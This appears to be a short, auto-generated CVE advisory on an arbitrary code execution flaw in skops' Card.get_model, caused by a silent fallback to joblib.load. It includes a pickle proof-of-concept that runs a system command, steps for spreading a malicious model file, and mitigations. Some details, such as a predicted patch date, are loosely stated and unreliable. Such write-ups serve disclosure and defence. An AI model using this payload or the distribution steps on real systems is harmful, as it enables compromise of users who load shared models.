Listen to this Post
How the CVE Works
The vulnerability in `skops.card.Card.get_model` arises due to unsafe deserialization via joblib.load(). When a non-ZIP file (e.g., a malicious `.skops` file) is passed, the function silently falls back to joblib.load(), which executes arbitrary Python code during deserialization. The `trusted` parameter is ignored, bypassing skops’ security checks. Attackers can craft a payload (e.g., pickle-based) to achieve remote code execution (RCE) when the victim loads the model.
DailyCVE Form
Platform: skops
Version: <1.0.0
Vulnerability: Arbitrary Code Execution
Severity: Critical
Date: 2023-06-15
Prediction: Patch by 2023-09-30
What Undercode Say
Analytics:
import joblib
payload = b"cos\nsystem\n(S'id'\ntR." Example pickle RCE
with open("malicious.skops", "wb") as f:
f.write(payload)
from skops.card import Card
card = Card("malicious.skops") Triggers RCE
Exploit:
- Craft a malicious `.skops` file with pickle payload.
- Distribute via model-sharing platforms.
- Victim executes
Card.get_model().
Protection from this CVE:
- Disable `joblib` fallback in
Card.get_model. - Validate file headers before deserialization.
- Use `skops.load(trusted=[])` exclusively.
Impact:
- Full system compromise via RCE.
- Bypasses skops’ security model.
- Silent exploitation via shared models.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
